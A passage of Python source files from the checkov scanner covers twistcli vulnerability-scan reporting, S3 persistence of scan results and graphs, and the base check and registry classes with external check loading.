last_modification.st_mtime) return file_age >= int(os.getenv("CHECKOV_EXPIRATION_TIME_IN_SEC", CHECKOV_SEC_IN_WEEK)) def setup_twistcli(self) -> bool: if self.should_download(): if not os.path.exists(bridgecrew_dir): try: os.makedirs(bridgecrew_dir) except FileExistsError: # In multi-processing, this might meet a race condition pass self.cleanup_scan() status: bool = docker_image_scanning_integration.download_twistcli(image_scanner.twistcli_path) return status return True image_scanner = ImageScanner() ================================================ FILE: checkov/common/bridgecrew/vulnerability_scanning/integrations/__init__.py ================================================ ================================================ FILE: checkov/common/bridgecrew/vulnerability_scanning/integrations/docker_image_scanning.py ================================================ from __future__ import annotations import logging import os from pathlib import Path from typing import Any, TYPE_CHECKING from checkov.common.bridgecrew.vulnerability_scanning.integrations.twistcli import TwistcliIntegration from checkov.common.util.str_utils import removeprefix if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration class DockerImageScanningIntegration(TwistcliIntegration): async def report_results_async( self, twistcli_scan_result: dict[str, Any], bc_platform_integration: BcPlatformIntegration, bc_api_key: str, file_path: Path, **kwargs: Any, ) -> int: return await super().report_results_async( twistcli_scan_result=twistcli_scan_result, bc_platform_integration=bc_platform_integration, bc_api_key=bc_api_key, file_path=file_path, file_content=kwargs["file_content"], docker_image_name=kwargs["docker_image_name"], ) def create_report( # type:ignore[override] self, twistcli_scan_result: dict[str, Any], bc_platform_integration: BcPlatformIntegration, file_path: Path | str, file_content: str, docker_image_name: str, related_resource_id: str | None = None, root_folder: str | Path | None = None, error_lines: list[int] | None = None ) -> dict[str, Any]: if not bc_platform_integration.bc_source: logging.error("Source was not set") return {} results_dict = self._get_results_dict(twistcli_scan_result) path_prefix = str(root_folder) if root_folder else os.getenv("BC_ROOT_DIR", "") payload: dict[str, Any] = { "dockerImageName": docker_image_name, "dockerFilePath": removeprefix(str(file_path), path_prefix), "dockerFileContent": file_content, "type": "Image", "sourceId": bc_platform_integration.repo_id, "branch": bc_platform_integration.repo_branch, "sourceType": bc_platform_integration.bc_source.name, "vulnerabilities": self.get_vulnerabilities_for_report(results_dict), "packages": self.get_packages_for_report(results_dict), "relatedResourceId": related_resource_id, "errorLines": error_lines } if bc_platform_integration.cicd_details: payload["cicdDetails"] = bc_platform_integration.cicd_details return payload @staticmethod def _get_results_dict(twistcli_scan_result: dict[str, Any]) -> dict[str, Any]: try: results = twistcli_scan_result["results"] # we expect that there is exactly 1 scanned dokcer-image. if len(results) != 1: raise Exception(f'expected length of \"results\": 1. found: {len(results)}', results) except KeyError as exc: raise Exception("the key \"results\" expected to be existing in:", twistcli_scan_result) from exc result: dict[str, Any] = results[0] return result docker_image_scanning_integration = DockerImageScanningIntegration() ================================================ FILE: checkov/common/bridgecrew/vulnerability_scanning/integrations/package_scanning.py ================================================ from __future__ import annotations import logging import os from pathlib import Path from typing import Any from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.bridgecrew.vulnerability_scanning.integrations.twistcli import TwistcliIntegration from checkov.common.util.str_utils import removeprefix class PackageScanningIntegration(TwistcliIntegration): def create_report( self, twistcli_scan_result: dict[str, Any], bc_platform_integration: BcPlatformIntegration, file_path: Path, **kwargs: Any, ) -> dict[str, Any]: if not bc_platform_integration.bc_source: logging.error("Source was not set") return {} payload: dict[str, Any] = { "packageName": str(file_path.name), "packageFilePath": removeprefix(str(file_path), os.getenv("BC_ROOT_DIR", "")), "type": "Package", "sourceId": bc_platform_integration.repo_id, "branch": bc_platform_integration.repo_branch, "sourceType": bc_platform_integration.bc_source.name, "vulnerabilities": self.get_vulnerabilities_for_report(twistcli_scan_result), "packages": self.get_packages_for_report(twistcli_scan_result), } if bc_platform_integration.cicd_details: payload["cicdDetails"] = bc_platform_integration.cicd_details return payload package_scanning_integration = PackageScanningIntegration() ================================================ FILE: checkov/common/bridgecrew/vulnerability_scanning/integrations/twistcli.py ================================================ from __future__ import annotations import logging import platform import stat from abc import abstractmethod, ABC from pathlib import Path from typing import Dict, Any, List, TYPE_CHECKING from datetime import datetime, timedelta from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.util.data_structures_utils import merge_dicts from checkov.common.util.http_utils import get_default_post_headers, request_wrapper, aiohttp_client_session_wrapper if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration class TwistcliIntegration(ABC): vulnerabilities_base_path = "/api/v1/vulnerabilities" # noqa: CCE003 # a static attribute def get_bc_api_key(self) -> str: return bc_integration.get_auth_token() def get_proxy_address(self) -> str: return f"{bc_integration.api_url}{self.vulnerabilities_base_path}/docker-images/twistcli/proxy" def download_twistcli(self, cli_file_name: Path) -> bool: # backwards compatibility, should be removed in a later stage try: cli_file_name_path = cli_file_name if isinstance(cli_file_name, Path) else Path(cli_file_name) os_type = platform.system().lower() response = request_wrapper("GET", f"{bc_integration.api_url}{self.vulnerabilities_base_path}/twistcli?os={os_type}", headers=bc_integration.get_default_headers("GET"), should_call_raise_for_status=True) cli_file_name_path.write_bytes(response.content) cli_file_name_path.chmod(cli_file_name_path.stat().st_mode | stat.S_IEXEC) logging.debug("twistcli downloaded and has execute permission") return True except Exception: logging.debug( "Unexpected failure happened during downloading twistcli. details are below.\n" "scanning is terminating. please try again. if it is repeated, please report.\n", exc_info=True) return False async def report_results_async( self, twistcli_scan_result: Dict[str, Any], bc_platform_integration: BcPlatformIntegration, bc_api_key: str, file_path: Path, **kwargs: Any, ) -> int: logging.info(f"Start to send report for package file {file_path}") if not bc_platform_integration.bc_source: logging.error("Source was not set") return 1 payload = self.create_report( twistcli_scan_result=twistcli_scan_result, bc_platform_integration=bc_platform_integration, file_path=file_path, **kwargs, ) headers = merge_dicts( get_default_post_headers(bc_platform_integration.bc_source, bc_platform_integration.bc_source_version), {"Authorization": bc_api_key}, ) url = f"{bc_platform_integration.api_url}{self.vulnerabilities_base_path}/results" logging.info(f"[twistcli](report_results_async) - reporting results to the server for the file \'{file_path}\'") response = await aiohttp_client_session_wrapper("POST", url, headers, payload) if not response.ok: logging.error(f"[twistcli](report_results_async) - Failed to send report for package file {file_path}" f"\nerror message appears above") return 1 return 0 @abstractmethod def create_report( self, twistcli_scan_result: dict[str, Any], bc_platform_integration: BcPlatformIntegration, file_path: Path, **kwargs: Any, ) -> dict[str, Any]: pass @staticmethod def get_vulnerabilities_for_report(scan_results: Dict[str, Any]) -> List[Dict[str, Any]]: return [ { "cveId": vul.get("id"), "status": vul.get("status", "open"), "severity": vul.get("severity"), "packageName": vul.get("packageName"), "packageVersion": vul.get("packageVersion"), "link": vul.get("link"), "cvss": vul.get("cvss"), "vector": vul.get("vector"), "description": vul.get("description"), "riskFactors": vul.get("riskFactors"), "publishedDate": vul.get("publishedDate") or (datetime.now() - timedelta(days=vul.get("publishedDays", 0))).isoformat(), } for vul in scan_results.get("vulnerabilities") or [] ] @staticmethod def get_packages_for_report(scan_results: Dict[str, Any]) -> List[Dict[str, Any]]: return [ { "type": package.get("type"), "name": package.get("name"), "version": package.get("version"), "licenses": package.get("licenses") or [], } for package in scan_results.get("packages") or [] if package.get("version") and package.get("name") and package.get("type") ] ================================================ FILE: checkov/common/bridgecrew/vulnerability_scanning/report.py ================================================ from __future__ import annotations import asyncio import logging import os from collections.abc import Sequence, Iterable from pathlib import Path from typing import Any, TYPE_CHECKING from aiomultiprocess import Pool # type:ignore[import-untyped] from checkov.common.bridgecrew.vulnerability_scanning.integrations.package_scanning import PackageScanningIntegration if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration async def _report_results_to_bridgecrew_async( scan_results: Iterable[dict[str, Any]], bc_integration: BcPlatformIntegration, bc_api_key: str, ) -> Sequence[int]: package_scanning_int = PackageScanningIntegration() args = [(result, bc_integration, bc_api_key, Path(result["repository"])) for result in scan_results] if os.getenv("PYCHARM_HOSTED") == "1": # PYCHARM_HOSTED env variable equals 1 when running via Pycharm. # it avoids us from crashing, which happens when using multiprocessing via Pycharm's debug-mode logging.warning("reporting the results in sequence for avoiding crashing when running via Pycharm") exit_codes = [] for curr_arg in args: exit_codes.append(await package_scanning_int.report_results_async(*curr_arg)) else: async with Pool() as pool: exit_codes = await pool.starmap(package_scanning_int.report_results_async, args) return exit_codes def report_results_to_bridgecrew( scan_results: Iterable[dict[str, Any]], bc_integration: BcPlatformIntegration, bc_api_key: str, ) -> Sequence[int]: return asyncio.run(_report_results_to_bridgecrew_async(scan_results, bc_integration, bc_api_key)) ================================================ FILE: checkov/common/bridgecrew/wrapper.py ================================================ from __future__ import annotations import logging import os import json import itertools from concurrent import futures from io import StringIO from typing import Any, TYPE_CHECKING, Optional, Dict from collections import defaultdict import dpath from rustworkx import PyDiGraph, digraph_node_link_json try: from networkx import DiGraph, node_link_data except ImportError: logging.info("Not able to import networkx") DiGraph = str node_link_data = lambda G : {} from checkov.common.sast.consts import CDK_FRAMEWORK_PREFIX, SAST_FRAMEWORK_PREFIX from checkov.common.bridgecrew.check_type import CheckType from checkov.common.models.consts import SUPPORTED_FILE_EXTENSIONS from checkov.common.typing import _ReducedScanReport, LibraryGraph from checkov.common.util.file_utils import compress_multiple_strings_ios_tar from checkov.common.util.json_utils import CustomJSONEncoder if TYPE_CHECKING: from mypy_boto3_s3.client import S3Client from checkov.common.output.report import Report checkov_results_prefix = 'checkov_results' check_reduced_keys = ( 'check_id', 'check_result', 'resource', 'file_path', 'file_line_range', 'code_block', 'caller_file_path', 'caller_file_line_range') secrets_check_reduced_keys = check_reduced_keys + ('validation_status',) check_metadata_keys = ('evaluations', 'code_block', 'workflow_name', 'triggers', 'job') FILE_NAME_NETWORKX = 'graph_networkx.json' FILE_NAME_RUSTWORKX = 'graph_rustworkx.json' def _is_scanned_file(file: str) -> bool: file_ending = os.path.splitext(file)[1] return file_ending in SUPPORTED_FILE_EXTENSIONS def _put_json_object(s3_client: S3Client, json_obj: Any, bucket: str, object_path: str, log_stack_trace_on_error: bool = True) -> None: try: s3_client.put_object(Bucket=bucket, Key=object_path, Body=json.dumps(json_obj, cls=CustomJSONEncoder)) except Exception: logging.error(f"failed to persist object into S3 bucket {bucket} - {object_path}", exc_info=log_stack_trace_on_error) raise def _extract_checks_metadata(report: Report, full_repo_object_key: str, on_prem: bool) -> dict[str, dict[str, Any]]: metadata: dict[str, dict[str, Any]] = defaultdict(dict) for check in itertools.chain(report.passed_checks, report.failed_checks, report.skipped_checks): metadata_key = f'{check.file_path}:{check.resource}' check_meta = {k: getattr(check, k, "") for k in check_metadata_keys} check_meta['file_object_path'] = full_repo_object_key + check.file_path if on_prem: check_meta['code_block'] = [] metadata[metadata_key][check.check_id] = check_meta return metadata def reduce_scan_reports(scan_reports: list[Report], on_prem: Optional[bool] = False) -> dict[str, _ReducedScanReport]: """ Transform checkov reports objects into compact dictionaries :param scan_reports: List of checkov output reports :return: dictionary of """ reduced_scan_reports: dict[str, _ReducedScanReport] = {} for report in scan_reports: check_type = report.check_type if check_type.startswith((SAST_FRAMEWORK_PREFIX, CDK_FRAMEWORK_PREFIX)): continue reduced_keys = secrets_check_reduced_keys if check_type == CheckType.SECRETS else check_reduced_keys if on_prem: reduced_keys = tuple(k for k in reduced_keys if k != 'code_block') # type: ignore reduced_scan_reports[check_type] = \ { "checks": { "passed_checks": [ {k: getattr(check, k) for k in reduced_keys} for check in report.passed_checks], "failed_checks": [ {k: getattr(check, k) for k in reduced_keys} for check in report.failed_checks], "skipped_checks": [ {k: getattr(check, k) for k in reduced_keys} for check in report.skipped_checks] }, "image_cached_results": report.image_cached_results } return reduced_scan_reports def persist_assets_results(check_type: str, assets_report: Dict[str, Any], s3_client: Optional[S3Client], bucket: Optional[str], full_repo_object_key: Optional[str]) -> str: if not s3_client or not bucket or not full_repo_object_key: return '' check_result_object_path = f'{full_repo_object_key}/{checkov_results_prefix}/{check_type}/assets.json' _put_json_object(s3_client, assets_report, bucket, check_result_object_path) return check_result_object_path def persist_reachability_results(check_type: str, reachability_report: Dict[str, Any], s3_client: Optional[S3Client], bucket: Optional[str], full_repo_object_key: Optional[str]) -> str: if not s3_client or not bucket or not full_repo_object_key: return '' check_result_object_path = f'{full_repo_object_key}/{checkov_results_prefix}/{check_type}/reachability_report.json' _put_json_object(s3_client, reachability_report, bucket, check_result_object_path) return check_result_object_path def persist_checks_results( reduced_scan_reports: dict[str, _ReducedScanReport], s3_client: S3Client, bucket: str, full_repo_object_key: str ) -> dict[str, str]: """ Save reduced scan reports into bridgecrew's platform :return: List of checks results path of all runners """ checks_results_paths = {} for check_type, reduced_report in reduced_scan_reports.items(): check_result_object_path = f'{full_repo_object_key}/{checkov_results_prefix}/{check_type}/checks_results.json' checks_results_paths[check_type] = check_result_object_path _put_json_object(s3_client, reduced_report, bucket, check_result_object_path) return checks_results_paths def persist_run_metadata( run_metadata: dict[str, str | list[str]], s3_client: S3Client, bucket: str, full_repo_object_key: str, use_checkov_results: bool = True ) -> None: object_path = f'{full_repo_object_key}/{checkov_results_prefix}/run_metadata.json' if use_checkov_results else f'{full_repo_object_key}/run_metadata.json' try: s3_client.put_object(Bucket=bucket, Key=object_path, Body=json.dumps(run_metadata, indent=2)) except Exception: logging.error(f"failed to persist run metadata into S3 bucket {bucket}", exc_info=True) raise def persist_multiple_logs_stream(logs_streams: Dict[str, StringIO], s3_client: S3Client, bucket: str, full_repo_object_key: str) -> None: file_io = compress_multiple_strings_ios_tar(logs_streams) object_path = f'{full_repo_object_key}/logs_files.tar.gz' try: s3_client.put_object(Bucket=bucket, Key=object_path, Body=file_io) except Exception: logging.error(f"failed to persist logs stream into S3 bucket {bucket}", exc_info=True) raise def enrich_and_persist_checks_metadata( scan_reports: list[Report], s3_client: S3Client, bucket: str, full_repo_object_key: str, on_prem: bool ) -> dict[str, dict[str, str]]: """ Save checks metadata into bridgecrew's platform :return: """ checks_metadata_paths: dict[str, dict[str, str]] = {} for scan_report in scan_reports: check_type = scan_report.check_type if check_type.startswith((SAST_FRAMEWORK_PREFIX, CDK_FRAMEWORK_PREFIX)): continue checks_metadata_object = _extract_checks_metadata(scan_report, full_repo_object_key, on_prem) checks_metadata_object_path = f'{full_repo_object_key}/{checkov_results_prefix}/{check_type}/checks_metadata.json' dpath.new(checks_metadata_paths, f"{check_type}/checks_metadata_path", checks_metadata_object_path) _put_json_object(s3_client, checks_metadata_object, bucket, checks_metadata_object_path) return checks_metadata_paths def persist_graphs( graphs: dict[str, list[tuple[LibraryGraph, Optional[str]]]], s3_client: S3Client, bucket: str, full_repo_object_key: str, timeout: int, absolute_root_folder: str = '' ) -> None: def _upload_graph(check_type: str, graph: LibraryGraph, _absolute_root_folder: str = '', subgraph_path: Optional[str] = None) -> None: if isinstance(graph, DiGraph): json_obj = node_link_data(graph) graph_file_name = FILE_NAME_NETWORKX elif isinstance(graph, PyDiGraph): json_obj = digraph_node_link_json(graph) graph_file_name = FILE_NAME_RUSTWORKX else: logging.error(f"unsupported graph type '{graph.__class__.__name__}'") return multi_graph_addition = (f"multi-graph/{subgraph_path}" if subgraph_path is not None else '').rstrip("/") s3_key = os.path.join(graphs_repo_object_key, check_type, multi_graph_addition, graph_file_name) try: _put_json_object(s3_client, json_obj, bucket, s3_key) except Exception: logging.error(f'failed to upload graph from framework {check_type} to platform', exc_info=True) graphs_repo_object_key = full_repo_object_key.replace('checkov', 'graphs')[:-4] with futures.ThreadPoolExecutor() as executor: futures.wait( [executor.submit(_upload_graph, check_type, graph, absolute_root_folder, subgraph_path) for check_type, graphs in graphs.items() for graph, subgraph_path in graphs], return_when=futures.FIRST_EXCEPTION, timeout=timeout ) logging.info(f"Done persisting {len(list(itertools.chain(*graphs.values())))} graphs") def persist_resource_subgraph_maps( resource_subgraph_maps: dict[str, dict[str, str]], s3_client: S3Client, bucket: str, full_repo_object_key: str, timeout: int ) -> None: def _upload_resource_subgraph_map(check_type: str, resource_subgraph_map: dict[str, str]) -> None: s3_key = os.path.join(graphs_repo_object_key, check_type, "multi-graph/resource_subgraph_maps/resource_subgraph_map.json") try: _put_json_object(s3_client, resource_subgraph_map, bucket, s3_key) except Exception: logging.error(f'failed to upload resource_subgraph_map from framework {check_type} to platform', exc_info=True) # removing '/src' with [:-4] graphs_repo_object_key = full_repo_object_key.replace('checkov', 'graphs')[:-4] with futures.ThreadPoolExecutor() as executor: futures.wait( [executor.submit(_upload_resource_subgraph_map, check_type, resource_subgraph_map) for check_type, resource_subgraph_map in resource_subgraph_maps.items()], return_when=futures.FIRST_EXCEPTION, timeout=timeout ) if resource_subgraph_maps: logging.info(f"Done persisting resource_subgraph_maps for frameworks - {', '.join(resource_subgraph_maps.keys())}") ================================================ FILE: checkov/common/checks/__init__.py ================================================ ================================================ FILE: checkov/common/checks/base_check.py ================================================ from __future__ import annotations import logging import os from abc import abstractmethod, ABC from collections.abc import Iterable from typing import List, Dict, Any, Optional from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.typing import _SkippedCheck, _CheckResult from checkov.common.util.type_forcers import force_list from checkov.common.models.enums import CheckResult, CheckCategories, CheckFailLevel class BaseCheck(ABC): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str, bc_id: Optional[str] = None, guideline: Optional[str] = None, ) -> None: self.name = name self.id = id self.bc_id = bc_id self.categories = categories self.block_type = block_type self.path: str | None = None self.supported_entities = supported_entities self.logger = logging.getLogger("{}".format(self.__module__)) add_resource_code_filter_to_logger(self.logger) self.evaluated_keys: List[str] = [] self.entity_path = "" self.entity_type = "" self.guideline = guideline self.benchmarks: dict[str, list[str]] = {} self.severity = None self.bc_category = None self.graph = None if self.guideline: logging.debug(f'Found custom guideline for check {id}') self.details: List[str] = [] self.check_fail_level = os.environ.get('CHECKOV_CHECK_FAIL_LEVEL', CheckFailLevel.ERROR) def run( self, scanned_file: str, entity_configuration: Dict[str, Any], entity_name: str, entity_type: str, skip_info: _SkippedCheck, ) -> _CheckResult: self.details = [] check_result: _CheckResult = {} if skip_info: check_result["result"] = CheckResult.SKIPPED check_result["suppress_comment"] = skip_info["suppress_comment"] self.logger.debug( f'File {scanned_file}, {self.block_type} "{entity_type}.{entity_name}" check "{self.name}" Result: {check_result}, Suppression comment: {check_result["suppress_comment"]}' ) else: try: self.evaluated_keys = [] self.entity_path = f"{scanned_file}:{entity_type}:{entity_name}" check_result["result"] = self.scan_entity_conf(entity_configuration, entity_type) check_result["evaluated_keys"] = self.get_evaluated_keys() self.logger.debug( f'File {scanned_file}, {self.block_type} "{entity_type}.{entity_name}" check "{self.name}" Result: {check_result}' ) except Exception: self.log_check_error(scanned_file=scanned_file, entity_type=entity_type, entity_name=entity_name, entity_configuration=entity_configuration) raise return check_result @abstractmethod def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult | tuple[CheckResult, dict[str, Any]]: raise NotImplementedError() def get_evaluated_keys(self) -> List[str]: """ Retrieves the evaluated keys for the run's report. Child classes override the function and return the `expected_keys` instead. :return: List of the evaluated keys, as JSONPath syntax paths of the checked attributes """ return force_list(self.evaluated_keys) def get_output_id(self, use_bc_ids: bool) -> str: return self.bc_id if self.bc_id and use_bc_ids else self.id def log_check_error(self, scanned_file: str, entity_type: str, entity_name: str, entity_configuration: Dict[str, Any]) -> None: if self.check_fail_level == CheckFailLevel.ERROR: logging.error(f'Failed to run check {self.id} on {scanned_file}:{entity_type}.{entity_name}', exc_info=True) if self.check_fail_level == CheckFailLevel.WARNING: logging.warning(f'Failed to run check {self.id} on {scanned_file}:{entity_type}.{entity_name}') logging.info(f'Entity configuration: {entity_configuration}') ================================================ FILE: checkov/common/checks/base_check_registry.py ================================================ from __future__ import annotations import fnmatch import importlib import importlib.util import logging import os import sys from abc import abstractmethod from collections import defaultdict from itertools import chain from typing import Generator, Tuple, Dict, List, Optional, Any, TYPE_CHECKING from checkov.common.models.enums import CheckResult from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.typing import _SkippedCheck, _CheckResult from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck class BaseCheckRegistry: # NOTE: Needs to be static to because external check loading may be triggered by a registry to which # checks aren't registered. (This happens with Serverless, for example.) __loading_external_checks = False # noqa: CCE003 __all_registered_checks: list[BaseCheck] = [] # noqa: CCE003 def __init__(self, report_type: str) -> None: self.logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(self.logger) # IMPLEMENTATION NOTE: Checks is used to directly access checks based on an specific entity self.checks: Dict[str, List[BaseCheck]] = defaultdict(list) # IMPLEMENTATION NOTE: When using a wildcard, every pattern needs to be checked. To reduce the # number of checks checks with the same pattern are grouped, which is the # reason to use a dict for this too. self.wildcard_checks: Dict[str, List[BaseCheck]] = defaultdict(list) self.check_id_allowlist: Optional[List[str]] = None self.report_type = report_type self.definitions_raw: list[tuple[int, str]] | None = None self.graph = None def register(self, check: BaseCheck) -> None: # IMPLEMENTATION NOTE: Checks are registered when the script is loaded # (see BaseResourceCheck.__init__() for the various frameworks). The only # difficultly with this process is that external checks need to be specially # identified for filter handling. That's why you'll see stateful setting of # RunnerFilters during load_external_checks. # Built-in checks are registered immediately at script start, before # external checks. if BaseCheckRegistry.__loading_external_checks: RunnerFilter.notify_external_check(check.id) for entity in check.supported_entities: checks = self.wildcard_checks if self._is_wildcard(entity) else self.checks if not any(c.id == check.id for c in checks[entity]): checks[entity].append(check) BaseCheckRegistry.__all_registered_checks.append(check) @staticmethod def get_all_registered_checks() -> List[BaseCheck]: return BaseCheckRegistry.__all_registered_checks @staticmethod def _is_wildcard(entity: str) -> bool: return "*" in entity or "?" in entity or ("[" in entity and "]" in entity) def get_check_by_id(self, check_id: str) -> Optional[BaseCheck]: return next( (check for check in chain(*self.checks.values(), *self.wildcard_checks.values()) if check.id == check_id), None, ) def all_checks(self) -> Generator[Tuple[str, BaseCheck], None, None]: for entity, checks in self.checks.items(): for check in checks: yield entity, check for entity, checks in self.wildcard_checks.items(): for check in checks: yield entity, check @property def contains_wildcard(self) -> bool: return bool(self.wildcard_checks) def get_checks(self, entity: str) -> List[BaseCheck]: if not self.wildcard_checks: # Optimisation: When no wildcards are used, we can use the list in self.checks return self.checks.get(entity) or [] else: res = self.checks[entity].copy() if entity in self.checks.keys() else [] # check wildcards for pattern, checks in self.wildcard_checks.items(): if entity and fnmatch.fnmatchcase(entity, pattern): res += checks return res def set_checks_allowlist(self, runner_filter: RunnerFilter) -> None: if runner_filter.checks: self.check_id_allowlist = runner_filter.checks @abstractmethod def extract_entity_details(self, entity: Dict[str, Any]) -> Tuple[str, str, Dict[str, Any]]: raise NotImplementedError() def scan( self, scanned_file: str, entity: Dict[str, Any], skipped_checks: List[_SkippedCheck], runner_filter: RunnerFilter, report_type: Optional[str] = None # allow runners like TF plan to override the type while using the same registry ) -> Dict[BaseCheck, _CheckResult]: results: Dict[BaseCheck, _CheckResult] = {} try: (entity_type, entity_name, entity_configuration) = self.extract_entity_details(entity) except Exception: logging.debug(f"Error in entity details extraction for file {scanned_file}", exc_info=True) return results if not isinstance(entity_configuration, dict): return results checks = self.get_checks(entity_type) for check in checks: skip_info: _SkippedCheck = {} if skipped_checks: if check.id in [x["id"] for x in skipped_checks]: skip_info = [x for x in skipped_checks if x["id"] == check.id][0] if runner_filter.should_run_check( check, report_type=report_type or self.report_type, file_origin_paths=[scanned_file] ): result = self.run_check(check, entity_configuration, entity_name, entity_type, scanned_file, skip_info) results[check] = result return results def run_check( self, check: BaseCheck, entity_configuration: Dict[str, List[Any]], entity_name: str, entity_type: str, scanned_file: str, skip_info: _SkippedCheck, ) -> _CheckResult: self.logger.debug("Running check: {} on file {}".format(check.name, scanned_file)) check.graph = self.graph try: result = check.run( scanned_file=scanned_file, entity_configuration=entity_configuration, entity_name=entity_name, entity_type=entity_type, skip_info=skip_info, ) return result except Exception: return _CheckResult( result=CheckResult.UNKNOWN, suppress_comment="", evaluated_keys=[], results_configuration=entity_configuration, check=check, entity=entity_configuration ) @staticmethod def _directory_has_init_py(directory: str) -> bool: """ Check if a given directory contains a file named __init__.py. __init__.py is needed to ensure the directory is a Python module, thus can be imported. """ return os.path.exists(os.path.join(directory, "__init__.py")) @staticmethod def _file_can_be_imported(entry: "os.DirEntry[str]") -> bool: """ Verify if a directory entry is a non-magic Python file.""" return entry.is_file() and not entry.name.startswith("__") and entry.name.endswith(".py") def load_external_checks(self, directory: str) -> None: """ Browse a directory looking for .py files to import. Log an error when the directory does not contains an __init__.py or when a .py file has syntax error """ directory = os.path.expanduser(directory) self.logger.debug(f"Loading external checks from {directory}") for root, _, _ in os.walk(directory): sys.path.insert(1, root) with os.scandir(root) as directory_content: if not self._directory_has_init_py(root): self.logger.info(f"No __init__.py found in {root}. Cannot load any check here.") else: for entry in directory_content: if self._file_can_be_imported(entry): check_name = entry.name.replace(".py", "") check_full_path = entry.path # Filter is set while loading external checks so the filter can be informed # of the checks, which need to be handled specially. try: BaseCheckRegistry.__loading_external_checks = True self.logger.debug(f"Importing external check '{check_name}'") spec = importlib.util.spec_from_file_location(check_name, check_full_path) if spec: module = importlib.util.module_from_spec(spec) sys.modules[check_name] = module spec.loader.exec_module(module) # type: ignore[union-attr] # loader can't be None here else: self.logger.error(f"Cannot load external check '{check_name}' from {check_full_path}") except Exception: self.logger.error(f"Cannot load external check '{check_name}' from {check_full_path}", exc_info=True) finally: BaseCheckRegistry.__loading_external_checks = False ================================================ FILE: checkov/common/checks/enums.py ================================================ from enum import Enum class BlockType(str, Enum): DOCUMENT = "document" OBJECT = "object" ARRAY = "array" SCALAR = "scalar" ================================================ FILE: checkov/common/checks/object_registry.py ================================================ from __future__ import annotations from typing import Any, TYPE_CHECKING from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.models.enums import CheckResult from checkov.common.checks.enums import BlockType from checkov.common.typing import _SkippedCheck, _ScannerCallableAlias if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck from checkov.runner_filter import RunnerFilter class Registry(BaseCheckRegistry): def __init__(self, report_type: str) -> None: super().__init__(report_type=report_type) self._scanner: dict[str, _ScannerCallableAlias] = { BlockType.ARRAY: self._scan_array, BlockType.OBJECT: self._scan_object, } def _scan_array( self, scanned_file: str, check: BaseCheck, skip_info: list[_SkippedCheck], entity: dict[str, Any], entity_name: str, entity_type: str, results: dict[str, Any], ) -> None: if isinstance(entity, dict): analayzed_dict = entity.get(entity_type, {}) for item, item_conf in analayzed_dict.items(): if '__startline__' != item and '__endline__' != item: self.update_result( check, item_conf, item, entity_type, results, scanned_file, skip_info[0], ) if isinstance(entity, list): for item in entity: if entity_name in item: result = self.update_result( check, item[entity_name], entity_name, entity_type, results, scanned_file, skip_info[0], ) if result == CheckResult.FAILED: break def _scan_object( self, scanned_file: str, check: BaseCheck, skip_info: list[_SkippedCheck], entity: dict[str, Any], entity_name: str, entity_type: str, results: dict[str, Any], ) -> None: if entity_name in entity: self.update_result( check, entity[entity_name], entity_name, entity_type, results, scanned_file, skip_info[0], ) def _scan_document( self, scanned_file: str, check: BaseCheck, skip_info: list[_SkippedCheck], entity: dict[str, Any], entity_name: str, entity_type: str, results: dict[str, Any], ) -> None: self.update_result( check, entity, entity_name, entity_type, results, scanned_file, skip_info[0] ) def _scan( self, scanned_file: str, checks: list[BaseCheck], skipped_checks: list[_SkippedCheck], runner_filter: RunnerFilter, entity: dict[str, Any], entity_name: str, entity_type: str, results: dict[str, Any], ) -> None: for check in checks: skip_infos = ([x for x in skipped_checks if x["id"] == check.id] or [{}]) if runner_filter.should_run_check(check=check, report_type=self.report_type): scanner = self._scanner.get(check.block_type, self._scan_document) if check.path: target = entity for p in check.path.split("."): if p.endswith("]"): ip = p.split("[") i = int(ip[1][:-1]) target = target[ip[0]][i] else: target = target[p] else: target = entity scanner( scanned_file, check, skip_infos, target, entity_name, entity_type, results, ) def scan( # type:ignore[override] # return type is different than the base class self, scanned_file: str, entity: dict[str, Any], skipped_checks: list[_SkippedCheck], runner_filter: RunnerFilter, ) -> dict[str, Any]: results: dict[str, Any] = {} if not entity: return results for instruction, checks in self.checks.items(): self._scan( scanned_file=scanned_file, checks=checks, skipped_checks=skipped_checks, runner_filter=runner_filter, entity=entity, entity_name=instruction, entity_type=instruction, results=results, ) if self.wildcard_checks["*"]: self._scan( scanned_file=scanned_file, checks=self.wildcard_checks["*"], skipped_checks=skipped_checks, runner_filter=runner_filter, entity=entity, entity_name=scanned_file, entity_type="*", results=results, ) return results def update_result( self, check: BaseCheck, entity_configuration: dict[str, Any], entity_name: str, entity_type: str, results: dict[str, Any], scanned_file: str, skip_info: _SkippedCheck, ) -> CheckResult: check_result = self.run_check( check, entity_configuration, entity_name, entity_type, scanned_file, skip_info, ) result_key = self.get_key(entity_type, entity_name, check.id, scanned_file) result = check_result["result"] if isinstance(result, CheckResult) and result == CheckResult.SKIPPED: results[result_key] = { "check": check, "result": result, "suppress_comment": check_result.get("suppress_comment", ""), "results_configuration": None, } return result if isinstance(result, tuple): results[result_key] = { "check": check, "result": result[0], "results_configuration": result[1], } return result[0] results[result_key] = { "check": check, "result": result, "results_configuration": entity_configuration, } return result def get_key(self, entity_type: str, entity_name: str, check_id: str, file_path: str) -> str: return f'{entity_type}.{entity_name}.{check_id}' def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]: # not used, but is an abstractmethod return "", "", {} ================================================ FILE: checkov/common/checks_infra/__init__.py ================================================ ================================================ FILE: checkov/common/checks_infra/checks_parser.py ================================================ from __future__ import annotations import logging from typing import Dict, Any, List, Optional, Type, TYPE_CHECKING from checkov.common.checks_infra.resources_types import resources_types as raw_resources_types from checkov.common.bridgecrew.severities import get_severity from checkov.common.checks_infra.solvers import ( EqualsAttributeSolver, NotEqualsAttributeSolver, 